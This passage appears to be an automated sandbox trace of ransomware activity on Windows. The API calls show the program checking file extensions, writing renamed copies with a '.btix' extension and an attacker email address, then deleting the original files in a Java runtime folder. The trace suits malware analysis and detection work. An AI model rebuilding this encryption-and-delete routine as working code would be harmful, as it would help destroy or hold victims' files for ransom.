Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0149.172] lstrlenW (lpString=".jpg") returned 4 [0149.172] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0149.172] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0149.172] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0149.172] lstrlenW (lpString=".doc") returned 4 [0149.172] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0149.172] lstrlenW (lpString=".docx") returned 5 [0149.172] lstrcmpiW (lpString1=".docx", lpString2="v.dll") returned -1 [0149.172] lstrlenW (lpString=".pdf") returned 4 [0149.172] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0149.172] lstrlenW (lpString=".xls") returned 4 [0149.172] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0149.172] lstrlenW (lpString=".xlsx") returned 5 [0149.172] lstrcmpiW (lpString1=".xlsx", lpString2="v.dll") returned -1 [0149.172] lstrlenW (lpString=".ppt") returned 4 [0149.172] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0149.172] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0149.173] lstrlenW (lpString=".zip") returned 4 [0149.173] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0149.173] lstrlenW (lpString=".rar") returned 4 [0149.173] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0149.173] lstrlenW (lpString=".bz2") returned 4 [0149.173] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0149.173] lstrlenW (lpString=".7z") returned 3 [0149.173] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0149.173] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0149.173] lstrlenW (lpString=".dbf") returned 4 [0149.173] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0149.173] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0149.173] lstrlenW (lpString=".1cd") returned 4 [0149.173] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0149.173] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll") returned 49 [0149.173] lstrlenW (lpString=".jpg") returned 4 [0149.173] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0149.173] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0149.173] lstrlenW (lpString="kcms.dll") returned 8 [0149.173] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0149.174] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=220736) returned 1 [0149.174] CloseHandle (hObject=0x36c) returned 1 [0149.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll")) returned 0x20 [0149.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0149.174] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0149.174] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.174] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.174] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0149.174] GetLastError () returned 0x0 [0149.175] ReadFile (in: hFile=0x36c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x35e40, lpOverlapped=0x0) returned 1 [0149.197] WriteFile (in: hFile=0x370, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x35e50, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x35e50, lpOverlapped=0x0) returned 1 [0149.200] ReadFile (in: hFile=0x36c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.200] WriteFile (in: hFile=0x370, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xe4, lpOverlapped=0x0) returned 1 [0149.200] SetEndOfFile (hFile=0x370) returned 1 [0149.201] CloseHandle (hObject=0x370) returned 1 [0149.201] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.201] SetEndOfFile (hFile=0x36c) returned 1 [0149.203] CloseHandle (hObject=0x36c) returned 1 [0149.203] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0149.203] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll")) returned 1 [0149.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0149.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0149.203] lstrlenW (lpString=".doc") returned 4 [0149.203] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0149.203] lstrlenW (lpString=".docx") returned 5 [0149.203] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0149.203] lstrlenW (lpString=".pdf") returned 4 [0149.203] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0149.203] lstrlenW (lpString=".xls") returned 4 [0149.203] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0149.203] lstrlenW (lpString=".xlsx") returned 5 [0149.203] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0149.204] lstrlenW (lpString=".ppt") returned 4 [0149.204] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0149.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0149.204] lstrlenW (lpString=".zip") returned 4 [0149.204] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0149.204] lstrlenW (lpString=".rar") returned 4 [0149.204] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0149.204] lstrlenW (lpString=".bz2") returned 4 [0149.204] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0149.204] lstrlenW (lpString=".7z") returned 3 [0149.204] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0149.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0149.204] lstrlenW (lpString=".dbf") returned 4 [0149.204] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0149.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0149.204] lstrlenW (lpString=".1cd") returned 4 [0149.204] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0149.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0149.204] lstrlenW (lpString=".jpg") returned 4 [0149.204] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0149.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0149.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0149.204] lstrlenW (lpString=".doc") returned 4 [0149.204] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0149.204] lstrlenW (lpString=".docx") returned 5 [0149.204] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0149.204] lstrlenW (lpString=".pdf") returned 4 [0149.204] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0149.204] lstrlenW (lpString=".xls") returned 4 [0149.204] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0149.204] lstrlenW (lpString=".xlsx") returned 5 [0149.204] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0149.204] lstrlenW (lpString=".ppt") returned 4 [0149.204] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0149.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0149.205] lstrlenW (lpString=".zip") returned 4 [0149.205] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0149.205] lstrlenW (lpString=".rar") returned 4 [0149.205] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0149.205] lstrlenW (lpString=".bz2") returned 4 [0149.205] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0149.205] lstrlenW (lpString=".7z") returned 3 [0149.205] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0149.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0149.205] lstrlenW (lpString=".dbf") returned 4 [0149.205] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0149.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0149.205] lstrlenW (lpString=".1cd") returned 4 [0149.205] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0149.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47 [0149.205] lstrlenW (lpString=".jpg") returned 4 [0149.205] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0149.205] lstrcmpiW (lpString1=".exe", lpString2=".btix") returned 1 [0149.205] lstrlenW (lpString="kinit.exe") returned 9 [0149.205] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0149.206] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=16448) returned 1 [0149.206] CloseHandle (hObject=0x36c) returned 1 [0149.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe")) returned 0x20 [0149.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0149.206] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0149.206] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.206] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.206] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0149.207] GetLastError () returned 0x0 [0149.207] ReadFile (in: hFile=0x36c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x4040, lpOverlapped=0x0) returned 1 [0149.216] WriteFile (in: hFile=0x370, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x4050, lpOverlapped=0x0) returned 1 [0149.217] ReadFile (in: hFile=0x36c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.217] WriteFile (in: hFile=0x370, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xe6, lpOverlapped=0x0) returned 1 [0149.217] SetEndOfFile (hFile=0x370) returned 1 [0149.453] CloseHandle (hObject=0x370) returned 1 [0149.453] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.453] SetEndOfFile (hFile=0x36c) returned 1 [0149.454] CloseHandle (hObject=0x36c) returned 1 [0149.454] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0149.454] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kinit.exe")) returned 1 [0149.799] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0149.799] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0149.799] lstrlenW (lpString=".doc") returned 4 [0149.799] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0149.799] lstrlenW (lpString=".docx") returned 5 [0149.800] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0149.800] lstrlenW (lpString=".pdf") returned 4 [0149.800] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0149.800] lstrlenW (lpString=".xls") returned 4 [0149.800] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0149.800] lstrlenW (lpString=".xlsx") returned 5 [0149.800] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0149.800] lstrlenW (lpString=".ppt") returned 4 [0149.800] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0149.800] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0149.800] lstrlenW (lpString=".zip") returned 4 [0149.800] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0149.800] lstrlenW (lpString=".rar") returned 4 [0149.800] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0149.800] lstrlenW (lpString=".bz2") returned 4 [0149.800] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0149.800] lstrlenW (lpString=".7z") returned 3 [0149.800] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0149.800] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0149.800] lstrlenW (lpString=".dbf") returned 4 [0149.800] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0149.800] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0149.800] lstrlenW (lpString=".1cd") returned 4 [0149.800] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0149.800] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0149.800] lstrlenW (lpString=".jpg") returned 4 [0149.800] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0149.800] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0149.800] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0149.800] lstrlenW (lpString=".doc") returned 4 [0149.800] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0149.800] lstrlenW (lpString=".docx") returned 5 [0149.800] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0149.800] lstrlenW (lpString=".pdf") returned 4 [0149.801] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0149.801] lstrlenW (lpString=".xls") returned 4 [0149.801] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0149.801] lstrlenW (lpString=".xlsx") returned 5 [0149.801] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0149.801] lstrlenW (lpString=".ppt") returned 4 [0149.801] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0149.801] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0149.801] lstrlenW (lpString=".zip") returned 4 [0149.801] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0149.801] lstrlenW (lpString=".rar") returned 4 [0149.801] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0149.801] lstrlenW (lpString=".bz2") returned 4 [0149.801] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0149.801] lstrlenW (lpString=".7z") returned 3 [0149.801] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0149.801] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0149.801] lstrlenW (lpString=".dbf") returned 4 [0149.801] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0149.801] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0149.801] lstrlenW (lpString=".1cd") returned 4 [0149.801] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0149.801] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kinit.exe") returned 48 [0149.801] lstrlenW (lpString=".jpg") returned 4 [0149.801] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0149.801] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0149.801] lstrlenW (lpString="msvcr100.dll") returned 12 [0149.801] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0149.802] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=829264) returned 1 [0149.802] CloseHandle (hObject=0x374) returned 1 [0149.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll")) returned 0x20 [0149.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0149.802] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0149.802] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.802] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.802] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0149.803] GetLastError () returned 0x0 [0149.803] ReadFile (in: hFile=0x374, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0xca750, lpOverlapped=0x0) returned 1 [0150.074] WriteFile (in: hFile=0x378, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xca760, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xca760, lpOverlapped=0x0) returned 1 [0150.104] ReadFile (in: hFile=0x374, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.104] WriteFile (in: hFile=0x378, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0xec, lpOverlapped=0x0) returned 1 [0150.104] SetEndOfFile (hFile=0x378) returned 1 [0150.104] CloseHandle (hObject=0x378) returned 1 [0150.207] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.207] SetEndOfFile (hFile=0x374) returned 1 [0150.214] CloseHandle (hObject=0x374) returned 1 [0150.214] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0150.214] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll")) returned 1 [0150.214] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0150.214] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0150.214] lstrlenW (lpString=".doc") returned 4 [0150.214] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0150.214] lstrlenW (lpString=".docx") returned 5 [0150.214] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0150.214] lstrlenW (lpString=".pdf") returned 4 [0150.214] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0150.214] lstrlenW (lpString=".xls") returned 4 [0150.214] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0150.214] lstrlenW (lpString=".xlsx") returned 5 [0150.214] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0150.214] lstrlenW (lpString=".ppt") returned 4 [0150.214] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0150.214] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0150.215] lstrlenW (lpString=".zip") returned 4 [0150.215] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0150.215] lstrlenW (lpString=".rar") returned 4 [0150.215] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0150.215] lstrlenW (lpString=".bz2") returned 4 [0150.215] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0150.215] lstrlenW (lpString=".7z") returned 3 [0150.215] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0150.215] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0150.215] lstrlenW (lpString=".dbf") returned 4 [0150.215] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0150.215] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0150.215] lstrlenW (lpString=".1cd") returned 4 [0150.215] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0150.215] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0150.215] lstrlenW (lpString=".jpg") returned 4 [0150.215] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0150.215] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0150.215] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0150.215] lstrlenW (lpString=".doc") returned 4 [0150.215] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0150.215] lstrlenW (lpString=".docx") returned 5 [0150.215] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0150.215] lstrlenW (lpString=".pdf") returned 4 [0150.215] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0150.215] lstrlenW (lpString=".xls") returned 4 [0150.215] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0150.215] lstrlenW (lpString=".xlsx") returned 5 [0150.215] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0150.215] lstrlenW (lpString=".ppt") returned 4 [0150.215] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0150.215] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0150.215] lstrlenW (lpString=".zip") returned 4 [0150.215] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0150.216] lstrlenW (lpString=".rar") returned 4 [0150.216] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0150.216] lstrlenW (lpString=".bz2") returned 4 [0150.216] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0150.216] lstrlenW (lpString=".7z") returned 3 [0150.216] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0150.216] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll") returned 51 [0150.216] lstrlenW (lpString=".dbf") returned 4 [0150.216] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 